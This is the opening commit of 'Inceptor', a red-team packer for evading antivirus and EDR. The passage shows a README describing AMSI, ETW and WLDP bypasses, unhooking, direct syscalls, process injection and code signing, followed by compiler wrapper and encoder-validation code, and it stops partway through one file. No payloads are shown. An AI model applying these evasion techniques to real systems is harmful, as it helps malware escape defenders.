First Public Release
This commit is contained in:
commit
f9b767dab7
|
@ -0,0 +1,7 @@
|
|||
venv
|
||||
drop
|
||||
build
|
||||
dist
|
||||
*.spec
|
||||
.idea
|
||||
!metrics/cloc.exe
|
|
@ -0,0 +1,3 @@
|
|||
[submodule "inceptor/obfuscators/powershell/chameleon"]
|
||||
path = inceptor/obfuscators/powershell/chameleon
|
||||
url = git@github.com:klezVirus/chameleon.git
|
|
@ -0,0 +1,27 @@
|
|||
Copyright (c) 2021, Alessandro Magnosi (d3adc0de)
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
3. All advertising materials mentioning features or use of this software
|
||||
must display the following acknowledgement:
|
||||
This product includes software developed by Alessandro Magnosi (d3adc0de).
|
||||
4. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ''AS IS'' AND ANY
|
||||
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,337 @@
|
|||
<h1 align="center">
|
||||
<br>
|
||||
<img src=./images/inceptor-logo.png >
|
||||
<br>
|
||||
</h1>
|
||||
|
||||
# Table of content
|
||||
|
||||
* [Overview](#overview)
|
||||
* [Installation](#installation)
|
||||
* [Usage](#usage)
|
||||
|
||||
## News
|
||||
|
||||
NW: We're currently working to improve the template engine! As soon as we release the next version, instructions on how
|
||||
to use, customize, and extend the tool, will be available in the [Wiki][13].
|
||||
|
||||
## Overview
|
||||
|
||||
Modern Penetration testing and Red Teaming often requires to bypass common AV/EDR appliances in order to execute code
|
||||
on a target. With time, defenses are becoming more complex and inherently more difficult to bypass consistently.
|
||||
|
||||
Inceptor is a tool which can help to automate great part of this process, hopefully requiring no further effort.
|
||||
|
||||
## Features
|
||||
|
||||
Inceptor is a template-based PE packer for Windows, designed to help penetration testers and red teamers to bypass
|
||||
common AV and EDR solutions. Inceptor has been designed with a focus on usability, and to allow extensive user
|
||||
customisation.
|
||||
|
||||
To have a good overview of what it was implemented and why, it might be useful to tak a look to the following resources:
|
||||
|
||||
* [The path to code execution in the era of EDR, Next-Gen AVs, and AMSI](https://klezvirus.github.io/RedTeaming/AV_Evasion/CodeExeNewDotNet/)
|
||||
* [Inceptor - Bypass AV-EDR solutions combining well known techniques](https://github.com/klezVirus/inceptor/blob/main/slides/Inceptor%20-%20Bypass%20AV-EDR%20solutions%20combining%20well%20known%20techniques.pdf)
|
||||
|
||||
### Shellcode Transformation/Loading
|
||||
|
||||
Inceptor is able to convert existing EXE/DLL into shellcode using various open-source converters:
|
||||
|
||||
* [Donut](https://github.com/TheWover/donut): Donut is "The Converter". This tool is more like a piece of art by [TheWover][3],
|
||||
and can be used to transform Native binaries, DLL, and .Net binaries into position independent code shellcode.
|
||||
* [sRDI](https://github.com/monoxgas/sRDI): By [Monoxgas][4], this tool can convert existing naticcve DLL into PIC, which can then be injected as regular shellcode.
|
||||
* [Pe2Sh](https://github.com/hasherezade/pe_to_shellcode): By [Hasherazade][5], this tool can convert an existing native
|
||||
EXE into PIC shellcode, which can also be run as a normal EXE.
|
||||
|
||||
### LI Encoders vs LD Encoders
|
||||
|
||||
Inceptor can encode, compress, or encrypt shellcode using different means. While developing the tool, I started differentiating
|
||||
between what I call loader-independent (LI) encoding, and loader-dependent (LD) encoding.
|
||||
|
||||
Loader-independent encoding is a type of encoding not managed by the template chosen by the user (loader). This usually
|
||||
means that the decoding stub is not part of the template, but embedded in the shellcode itself.
|
||||
Inceptor offers this kind of feature using the open-source tool [sgn](https://github.com/EgeBalci/sgn), which is used to
|
||||
make the payload polymorphic and undetectable using common signature detection.
|
||||
|
||||
Even strong at it is, Shikata-Ga-Nai is not really suitable for certain templates. For this reason,
|
||||
Inceptor also implements Loader-dependent encoders, which are designed to let the loader taking care of
|
||||
the decoding. As such, LD encoders install the decoding stub directly in the template.
|
||||
This kind of encoders, as implemented within Inceptor, are also "Chainable", meaning they can be chained together to
|
||||
encode a payload.
|
||||
|
||||
While using a chain of encoders can sometimes improve the obfuscation of a given payload,
|
||||
this technique can also expose multiple decoding routines, which can help Defenders to design
|
||||
signatures against them. For this reason, Inceptor offers multiple ways to obfuscate the final
|
||||
artifacts, hardening the RE process.
|
||||
|
||||
At the time of writing, the public version of Inceptor has been provided with the following encoders/compressors/encryptors:
|
||||
|
||||
- Native
|
||||
* Xor
|
||||
* Nop (Insertion)
|
||||
- .NET
|
||||
* Hex
|
||||
* Base64
|
||||
* Xor
|
||||
* Nop (Insertion)
|
||||
* AES
|
||||
* Zlib
|
||||
* RLE
|
||||
- PowerShell
|
||||
* Hex
|
||||
* Base64
|
||||
* Xor
|
||||
* Nop (Insertion)
|
||||
* AES
|
||||
|
||||
Inceptor can validate an encoding chain both statically and dynamically, statically checking the decoders'
|
||||
input/output types, and also dynamically verifying the implementation with an independent implementation.
|
||||
|
||||
At any time, a user can easily validate a chain using the `chain-validate.py` utility.
|
||||
|
||||
### AV Evasion Mechanisms
|
||||
|
||||
Inceptor also natively implements AV Evasion mechanisms, and as such, it offers the possibility to include AV evasion
|
||||
features to the payload in the form of "modules" (plugins).
|
||||
|
||||
The plugins which can be embedded are:
|
||||
|
||||
* [x] AMSI bypass
|
||||
* [x] WLDP bypass
|
||||
* [x] ETW bypass
|
||||
* [x] Sandbox (Behavioural) Deception
|
||||
|
||||
### EDR Evasion Mechanisms
|
||||
|
||||
Inceptor also implements EDR Evasion mechanisms, such as full unhooking, direct syscall invocation and manual DLL mapping.
|
||||
Direct Syscalls are implemented in C# using the outstanding "[DInvoke][9]" project,
|
||||
again by [TheWover][1].
|
||||
In C/C++, Syscalls are implemented using [SysWhispers][7] and [SysWhispers2][8] projects, by [Jackson_T][6]. In addition,
|
||||
Inceptor has built-in support for x86 Syscalls as well.
|
||||
|
||||
As the AV bypass features, these features can be enabled as modules, with the only difference that they require
|
||||
operating on a template which supports them. The techniques implemented so far are:
|
||||
|
||||
* [x] Full Unhooking
|
||||
* [x] Manual DLL Mapping
|
||||
* [x] Direct Syscalls
|
||||
|
||||
### Obfuscation
|
||||
|
||||
Inceptor supports payload obfuscation by using external utils, such as [ConfuserEx](https://github.com/mkaring/ConfuserEx)
|
||||
and [Chameleon](https://github.com/klezVirus/chameleon), and provides support for C/C++ obfuscation using [LLVM-Obfuscator](https://github.com/klezVirus/obfuscator), which
|
||||
is an IR-based obfuscator using the LLVM compilation platform.
|
||||
|
||||
- [x] PowerShell
|
||||
- [x] C#
|
||||
- [x] C/C++
|
||||
|
||||
### Code Signing
|
||||
|
||||
Another feature of Inceptor is that it can code sign the resulting binary/dll by using the tool [CarbonCopy][10]
|
||||
Usually, files signed with code signing certificates are less strictly analysed. Many anti-malware products
|
||||
don't validate/verify these certificates.
|
||||
|
||||
### Workflow
|
||||
|
||||
The full workflow can be summarized in the following high-level, and simplified scheme:
|
||||
|
||||
![Workflow](./images/workflow.png)
|
||||
|
||||
<!-- install -->
|
||||
## Installation
|
||||
|
||||
Inceptor has been designed to work on Windows. The `update-config.py` utility can locate the required Microsoft binaries
|
||||
and update the configuration accordingly. It might be required to install Microsoft Build Tools, the Windows SDK,
|
||||
and Visual Studio, `update-config.py` will guide the user on how to install the required dependencies.
|
||||
|
||||
```
|
||||
git clone --recurse https://github.com/klezVirus/inceptor.git
|
||||
cd inceptor
|
||||
virtualenv venv
|
||||
venv\Scripts\activate.bat
|
||||
pip install -r requirements.txt
|
||||
cd inceptor
|
||||
python update-config.py
|
||||
```
|
||||
<!-- installstop -->
|
||||
|
||||
## Useful Notes
|
||||
|
||||
#### Default Loaders
|
||||
|
||||
The current version of Inceptor locates a specific template using a simple naming convention (don't change template names),
|
||||
and the set of arguments given by the user. Among the arguments, there is also the loader (-t). If not specified, the loader
|
||||
will be picked-up as a function of the file to pack, following this simple schema:
|
||||
|
||||
```
|
||||
$ python inceptor.py -hh
|
||||
|
||||
[*] Default Loaders
|
||||
Input File Extension SpecialCondition Guessed Filetype Default Loader Default Template
|
||||
0 .raw NaN Shellcode Simple Loader Classic
|
||||
1 .exe .NET Dotnet Executable Donut Classic
|
||||
2 .exe NaN Native Executable Pe2Shellcode PE Load
|
||||
3 .dll NaN Native Library sRDI Classic
|
||||
```
|
||||
|
||||
#### Template name convention
|
||||
|
||||
It's very important to understand also the template name convention, to avoid misinterpreting an artifact behaviour.
|
||||
|
||||
* Classic: a classic template usually means it uses the VirtualAlloc/VirtualAllocEx and CreateThread/CreateRemoteThread
|
||||
API to allocate and execute arbitrary code
|
||||
* Dinvoke: if a template contains only dinvoke (e.g classic-dinvoke.cs), it means it uses dynamic function resolution
|
||||
feature of dinvoke
|
||||
* dinvoke-_subtechnique_: a template containing dinvoke followed by another keyword is using a particular feature of
|
||||
dinvoke, like manual_mapping, overload_mapping, or syscalls
|
||||
* Syscalls: as the name suggest, this template is using syscalls
|
||||
* PE Load: this template tries to map a full PE into memory, without transforming it
|
||||
* Assembly Load: this template tries to execute a .NET assembly using reflection
|
||||
|
||||
<!-- usage -->
|
||||
## Usage
|
||||
```
|
||||
$ usage: inceptor.py [-h] [-hh] [-Z] {native,dotnet,powershell} ...
|
||||
|
||||
inceptor: A Windows-based PE Packing framework designed to help
|
||||
Red Team Operators to bypass common AV and EDR solutions
|
||||
|
||||
positional arguments:
|
||||
{native,dotnet,powershell}
|
||||
native Native Binaries Generator
|
||||
dotnet .NET Binaries Generator
|
||||
powershell PowerShell Wrapper Scripts Generator
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-hh Show functional table
|
||||
-Z, --check Check file against ThreatCheck
|
||||
```
|
||||
<!-- usagestop -->
|
||||
|
||||
<!-- dotnet -->
|
||||
### .NET Artifacts
|
||||
```sh-session
|
||||
$ python inceptor.py dotnet <shellcode-file|binary-file> [OPTIONS]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-t {loader,donut,pe2sh,srdi}, --transformer {loader,donut,pe2sh,srdi}
|
||||
Shellcode Transformer
|
||||
-m MODULES, --modules MODULES
|
||||
Modules to use (dinvoke, syscalls, amsi...)
|
||||
-O, --obfuscate Obfuscate the C# loader
|
||||
-P, --pinject Use a process injection template
|
||||
-P0 PROCESS, --process PROCESS
|
||||
Inject into a specific process (Image Name)
|
||||
-e ENCODER, --encoder ENCODER
|
||||
Encoder(s) to be used
|
||||
-a COMPILER_ARGS, --compiler-args COMPILER_ARGS
|
||||
Compiler arguments
|
||||
-C {csc}, --compiler {csc}
|
||||
Compiler to use
|
||||
-p PARAMS, --params PARAMS
|
||||
Params to pass to the wrapped .NET executable
|
||||
--arch {x86,x64,anycpu,anycpu-x86,anycpu-x64}
|
||||
Target Architecture
|
||||
--sgn Uses Shikata-Ga-Nai as assembly encoder
|
||||
--sign Sign the binary with CarbonCopy
|
||||
-o OUTFILE, --outfile OUTFILE
|
||||
Name of the generated .NET executable
|
||||
--delay DELAY Add a delay of n seconds before execution (requires Delay module)
|
||||
```
|
||||
<!-- dotnetstop -->
|
||||
|
||||
<!-- native -->
|
||||
### Native Artifacts
|
||||
```sh-session
|
||||
$ python inceptor.py native <shellcode-file|binary-file> [OPTIONS]
|
||||
|
||||
positional arguments:
|
||||
binary Binary file to convert (EXE or RAW for Vanilla Injection)
|
||||
|
||||
positional arguments:
|
||||
binary Binary file to convert (EXE or RAW for Vanilla Injection)
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-t {loader,pe2sh,donut,srdi}, --transformer {loader,pe2sh,donut,srdi}
|
||||
Compiler arguments
|
||||
-C {cl,clang,llvm}, --compiler {cl,clang,llvm}
|
||||
Compiler to use
|
||||
-a COMPILER_ARGS, --compiler-args COMPILER_ARGS
|
||||
Compiler arguments
|
||||
--exports EXPORTS Definition file with DLL exported function
|
||||
-e ENCODER, --encoder ENCODER
|
||||
Encoder(s) to be used
|
||||
-o OUTFILE, --outfile OUTFILE
|
||||
Name of the generated Native executable
|
||||
-m MODULES, --modules MODULES
|
||||
Modules to use (dinvoke, syscalls, unhook...)
|
||||
-P, --pinject Use a process injection template
|
||||
-P0 PROCESS, --process PROCESS
|
||||
Inject into a specific process (Image Name)
|
||||
--arch {x86,x64} Architecture
|
||||
--sgn Uses Shikata-Ga-Nai as assembly encoder
|
||||
--sign Sign the loader with CarbonCopy
|
||||
-O, --obfuscate Obfuscate the native loader (same as -C llvm)
|
||||
--dll If set, generates a wrapper DLL
|
||||
--delay DELAY Add a delay of n seconds before execution
|
||||
```
|
||||
<!-- nativestop -->
|
||||
|
||||
<!-- powershell -->
|
||||
### PowerShell Artifacts
|
||||
```sh-session
|
||||
$ python inceptor.py powershell <shellcode-file|binary-file> [OPTIONS]
|
||||
|
||||
positional arguments:
|
||||
binary Binary file to convert (.NET exe to perform Reflective Loading or RAW for Vanilla Injection)
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-m MODULES, --modules MODULES
|
||||
Modules to use (amsi, delay...)
|
||||
-o OUTFILE, --outfile OUTFILE
|
||||
Name of the generated .NET executable
|
||||
-t {loader,donut,pe2sh,srdi}, --transformer {loader,donut,pe2sh,srdi}
|
||||
Shellcode Transformer
|
||||
-e ENCODER, --encoder ENCODER
|
||||
Encoder(s) to be used
|
||||
--delay DELAY Add a delay of n seconds before execution
|
||||
-O, --obfuscate Obfuscate the PowerShell Wrapper
|
||||
--arch {x86,x64} Architecture
|
||||
--sgn Uses Shikata-Ga-Nai as assembly encoder
|
||||
-P, --pinject Use a process injection template
|
||||
-P0 PROCESS, --process PROCESS
|
||||
Inject into a specific process (Image Name)
|
||||
```
|
||||
<!-- powershellstop -->
|
||||
|
||||
## Next Developments
|
||||
|
||||
* New Template Engine
|
||||
* New Templates
|
||||
* New Encoders
|
||||
* C# Code-Based obfuscation
|
||||
|
||||
## Resources
|
||||
|
||||
* [Inceptor - Bypass AV-EDR solutions combining well known techniques](https://github.com/klezVirus/inceptor/blob/main/slides/Inceptor%20-%20Bypass%20AV-EDR%20solutions%20combining%20well%20known%20techniques.pdf)
|
||||
* [A tale of EDR bypass methods](https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods)
|
||||
|
||||
|
||||
[1]: https://github.com/phra/PEzor
|
||||
[2]: https://github.com/forrest-orr/artifacts-kit
|
||||
[3]: https://twitter.com/TheRealWover
|
||||
[4]: https://twitter.com/monoxgas
|
||||
[5]: https://twitter.com/hasherezade
|
||||
[6]: https://twitter.com/Jackson_T
|
||||
[7]: https://github.com/jthuraisamy/SysWhispers
|
||||
[8]: https://github.com/jthuraisamy/SysWhispers2
|
||||
[9]: https://github.com/TheWover/DInvoke
|
||||
[10]: https://github.com/paranoidninja/CarbonCopy
|
||||
[11]: https://twitter.com/phraaaaaaa
|
||||
[12]: https://twitter.com/_ForrestOrr
|
||||
[13]: https://github.com/klezVirus/inceptor.git
|
|
@ -0,0 +1,5 @@
|
|||
@echo off
|
||||
pip install pyinstaller
|
||||
pyinstaller --onefile inceptor\inceptor.py
|
||||
del inceptor.spec > NUL
|
||||
del /S /Q /F build > NUL
|
Binary file not shown.
After Width: | Height: | Size: 110 KiB |
Binary file not shown.
After Width: | Height: | Size: 172 KiB |
|
@ -0,0 +1,11 @@
|
|||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
wiki
|
||||
*.json
|
||||
*.7z
|
||||
.idea
|
||||
temp
|
||||
certs/**
|
|
@ -0,0 +1,3 @@
|
|||
[submodule "obfuscators/powershell/chameleon"]
|
||||
path = obfuscators/powershell/chameleon
|
||||
url = git@github.com:klezVirus/chameleon.git
|
|
@ -0,0 +1,127 @@
|
|||
#!/usr/bin/env python
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import argparse
|
||||
import secrets
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from compilers.ClCompiler import ClCompiler
|
||||
from compilers.CscCompiler import CscCompiler
|
||||
from config.Config import Config
|
||||
from converters.Loader import Loader
|
||||
from encoders.EncoderChain import EncoderChain
|
||||
from engine.CodeWriter import CodeWriter
|
||||
from engine.component.TemplateModuleComponent import TemplateModuleComponent
|
||||
from engine.modules.TemplateModule import TemplateModule
|
||||
from enums.Language import Language
|
||||
from generators.DotNetArtifactGenerator import DotNetArtifactGenerator
|
||||
from generators.NativeArtifactGenerator import NativeArtifactGenerator
|
||||
from generators.PowerShellArtifactGenerator import PowerShellArtifactGenerator
|
||||
from utils.utils import isDotNet, get_project_root
|
||||
|
||||
|
||||
def clean(files):
|
||||
for file in files:
|
||||
try:
|
||||
os.unlink(file)
|
||||
except:
|
||||
pass
|
||||
base_paths = [get_project_root(), os.path.join(get_project_root(), "temp")]
|
||||
wildcards = ["*.obj", "*.exp", "*.lib", "*.pdb", "*.shc.exe", "*.bin", "*.raw"]
|
||||
for base_path in base_paths:
|
||||
for wildcard in wildcards:
|
||||
cmd = f"del /F /Q \"{os.path.join(base_path, wildcard)}\""
|
||||
subprocess.call(cmd, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
os.system('color')
|
||||
parser = argparse.ArgumentParser(description='chain-validate: inceptor chain validator', add_help=True)
|
||||
parser.add_argument(
|
||||
'-l', '--lang', required=True, type=str, action="append", choices=["cpp", "cs", "ps"], default=None,
|
||||
help='Language')
|
||||
parser.add_argument(
|
||||
'-e', '--encoder', action='append', required=True, default=None, help='Encoder(s) to be used')
|
||||
|
||||
args = parser.parse_args()
|
||||
chain = EncoderChain.from_list(args.encoder)
|
||||
|
||||
shellcode = secrets.token_bytes(64)
|
||||
|
||||
languages = [Language.CPP, Language.CSHARP, Language.POWERSHELL]
|
||||
|
||||
if args.lang:
|
||||
languages = []
|
||||
for lang in args.lang:
|
||||
languages.append(Language.from_string(label=lang))
|
||||
outfiles = []
|
||||
for lang in languages:
|
||||
outfile = tempfile.NamedTemporaryFile(dir=Config().get_path("DIRECTORIES", "WRITER"), suffix=".bin",
|
||||
delete=False).name
|
||||
outfiles.append(outfile)
|
||||
print(f"[*] Validating encoder chain for {lang.name}")
|
||||
if not chain.validate(language=lang):
|
||||
print("[-] Failed to validate chain")
|
||||
continue
|
||||
template_dir = Config().get_path("DIRECTORIES", "TEST")
|
||||
c_outfile = outfile.replace("\\", "\\\\")
|
||||
compiler = None
|
||||
compiled_file = tempfile.NamedTemporaryFile(suffix=".exe", delete=False).name
|
||||
if lang == Language.CPP:
|
||||
f_component = TemplateModuleComponent(placeholder="####FILE####", code=f"\"{c_outfile}\";", trail=False)
|
||||
compiler = ClCompiler()
|
||||
compiler.default_exe_args(outfile=compiled_file)
|
||||
template_path = template_dir.joinpath("test.cpp")
|
||||
f_component.use_c_placeholder()
|
||||
elif lang == Language.CSHARP:
|
||||
f_component = TemplateModuleComponent(placeholder="####FILE####", code=f"\"{c_outfile}\";")
|
||||
compiler = CscCompiler()
|
||||
compiler.default_exe_args(outfile=compiled_file)
|
||||
template_path = template_dir.joinpath("test.cs")
|
||||
else:
|
||||
f_component = TemplateModuleComponent(placeholder="####FILE####", code=f"\"{c_outfile}\";")
|
||||
template_path = template_dir.joinpath("test.ps1")
|
||||
f_component.use_ps_placeholder()
|
||||
writer = CodeWriter(template=str(template_path.absolute()), language=lang)
|
||||
writer.template.add_module(TemplateModule(name="FileModule", components=[f_component]))
|
||||
writer.load_chain(chain=chain)
|
||||
encoded = chain.encode(shellcode)
|
||||
writer.write_source(shellcode=encoded)
|
||||
if compiler:
|
||||
compiler.set_libraries(libs=writer.template.libraries)
|
||||
compiler.compile([writer.outfile])
|
||||
else:
|
||||
compiled_file = writer.outfile
|
||||
if not os.path.isfile(compiled_file):
|
||||
print("[-] Error generating encoder file")
|
||||
sys.exit(1)
|
||||
loader = Loader()
|
||||
cmd = compiled_file
|
||||
if lang == Language.POWERSHELL:
|
||||
cmd = f"powershell .\\temp\\{Path(compiled_file).name}"
|
||||
time.sleep(2)
|
||||
try:
|
||||
output = subprocess.check_output(f"{cmd}")
|
||||
except subprocess.CalledProcessError:
|
||||
print("[-] Failed to execute test")
|
||||
sys.exit(1)
|
||||
if not os.path.isfile(outfile):
|
||||
raise FileNotFoundError("Error generating test file")
|
||||
|
||||
transformed = loader.transform(outfile)
|
||||
if shellcode == transformed:
|
||||
print("[+] Encoder chain working!")
|
||||
writer.clean()
|
||||
elif shellcode in transformed:
|
||||
print("[!] Warning, identified garbage at the end of the transformed shellcode")
|
||||
print("[+] Encoder chain working!")
|
||||
writer.clean()
|
||||
else:
|
||||
print("[-] Encoder chain broken!")
|
||||
print(f" [*] File: {loader.transform(outfile)}")
|
||||
print(f" [*] Shellcode: {shellcode}")
|
||||
|
||||
clean([compiled_file] + outfiles)
|
|
@ -0,0 +1,149 @@
|
|||
import os
|
||||
import re
|
||||
import subprocess
|
||||
|
||||
from compilers.Compiler import Compiler
|
||||
from config.Config import Config
|
||||
|
||||
|
||||
class ClCompiler(Compiler):
|
||||
|
||||
def __init__(self, args=None, aargs=None, arch="x64"):
|
||||
self.config = Config()
|
||||
self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
|
||||
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
|
||||
self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
|
||||
|
||||
def format_libraries(self, libraries: list = None):
|
||||
if not libraries or not isinstance(libraries, list):
|
||||
libraries = []
|
||||
libraries = libraries + self.std_library()
|
||||
return " ".join([f'"{lib}"' for lib in libraries])
|
||||
|
||||
def std_library(self):
|
||||
return ["kernel32.lib",
|
||||
"user32.lib",
|
||||
"gdi32.lib",
|
||||
"winspool.lib",
|
||||
"comdlg32.lib",
|
||||
"advapi32.lib",
|
||||
"shell32.lib",
|
||||
"ole32.lib",
|
||||
"oleaut32.lib",
|
||||
"uuid.lib",
|
||||
"odbc32.lib",
|
||||
"odbccp32.lib"]
|
||||
|
||||
def default_dll_args(self, outfile):
|
||||
self.args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"BUILD_DLL\"": None,
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"SAGAT_EXPORTS\"": None,
|
||||
"/D \"_WINDOWS\"": None,
|
||||
"/D \"_WINDLL\"": None,
|
||||
"/D \"_USRDLL\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
"/LD": None,
|
||||
"/Fe": f'"{outfile}"'
|
||||
}
|
||||
|
||||
def default_exe_args(self, outfile):
|
||||
self.args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"_CONSOLE\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
"/Fe": f'"{outfile}"'
|
||||
}
|
||||
|
||||
def default_obj_args(self, outfile):
|
||||
self.args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"BUILD_DLL\"": None,
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"SAGAT_EXPORTS\"": None,
|
||||
"/D \"_WINDOWS\"": None,
|
||||
"/D \"_WINDLL\"": None,
|
||||
"/D \"_USRDLL\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
"/LD": None,
|
||||
"/Fo": f'"{outfile}"'
|
||||
}
|
||||
|
||||
def add_include_directory(self, directory):
|
||||
self.args[f'/I "{directory}"'] = None
|
||||
|
||||
def set_libraries(self, libs: list):
|
||||
self.set_linker_options(libraries=libs)
|
||||
|
||||
def set_linker_options(self, outfile=None, libraries: list = None):
|
||||
self.aargs = f'/link /DYNAMICBASE {self.format_libraries(libraries=libraries)}'
|
||||
if outfile:
|
||||
self.aargs += f' /OUT "{outfile}"'
|
|
@ -0,0 +1,156 @@
|
|||
import os
|
||||
import re
|
||||
import subprocess
|
||||
|
||||
from compilers.Compiler import Compiler
|
||||
from config.Config import Config
|
||||
|
||||
|
||||
class ClangCompiler(Compiler):
|
||||
|
||||
def __init__(self, args=None, aargs=None, arch="x64"):
|
||||
self.config = Config()
|
||||
self.vcvarsall = self.config.get_path("COMPILERS", "VCVARSALL")
|
||||
super().__init__(None, args=args, aargs=aargs, sep=":", arch=arch)
|
||||
self.prefix_cmd = f'"{self.vcvarsall}" {self.arch}'
|
||||
|
||||
def format_libraries(self, libraries: list = None):
|
||||
if not libraries or not isinstance(libraries, list):
|
||||
libraries = []
|
||||
libraries = libraries + self.std_library()
|
||||
return " ".join([f'"{lib}"' for lib in libraries])
|
||||
|
||||
def std_library(self):
|
||||
return ["kernel32.lib",
|
||||
"user32.lib",
|
||||
"gdi32.lib",
|
||||
"winspool.lib",
|
||||
"comdlg32.lib",
|
||||
"advapi32.lib",
|
||||
"shell32.lib",
|
||||
"ole32.lib",
|
||||
"oleaut32.lib",
|
||||
"uuid.lib",
|
||||
"odbc32.lib",
|
||||
"odbccp32.lib"]
|
||||
|
||||
def default_dll_args(self, outfile):
|
||||
default_cl_args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
"/Zc:inline": None,
|
||||
"/Zc:wchar_t": None,
|
||||
"/fp": "precise",
|
||||
"/D \"BUILD_DLL\"": None,
|
||||
"/D \"NDEBUG\"": None,
|
||||
"/D \"SAGAT_EXPORTS\"": None,
|
||||
"/D \"_WINDOWS\"": None,
|
||||
"/D \"_WINDLL\"": None,
|
||||
"/D \"_USRDLL\"": None,
|
||||
"/D \"_UNICODE\"": None,
|
||||
"/D \"UNICODE\"": None,
|
||||
"/errorReport": "prompt",
|
||||
"/WX-": None,
|
||||
"/Zc": "forScope",
|
||||
"/Gd": None,
|
||||
"/Oi": None,
|
||||
"/MD": None,
|
||||
"/FC": None,
|
||||
"/EHsc": None,
|
||||
"/nologo": None,
|
||||
"/diagnostics": "column",
|
||||
"/LD": None,
|
||||
"-w": None,
|
||||
f'-o "{outfile}"': None
|
||||
}
|
||||
self.args = default_cl_args
|
||||
|
||||
def default_exe_args(self, outfile):
|
||||
default_cl_args = {
|
||||
"/permissive-": None,
|
||||
"/GS": None,
|
||||
"/GL": None,
|
||||
"/W3": None,
|
||||
"/Gy": None,
|
||||
"/Zi": None,
|
||||
"/Gm-": None,
|
||||
"/O2": None,
|
||||
"/sdl": None,
|
||||
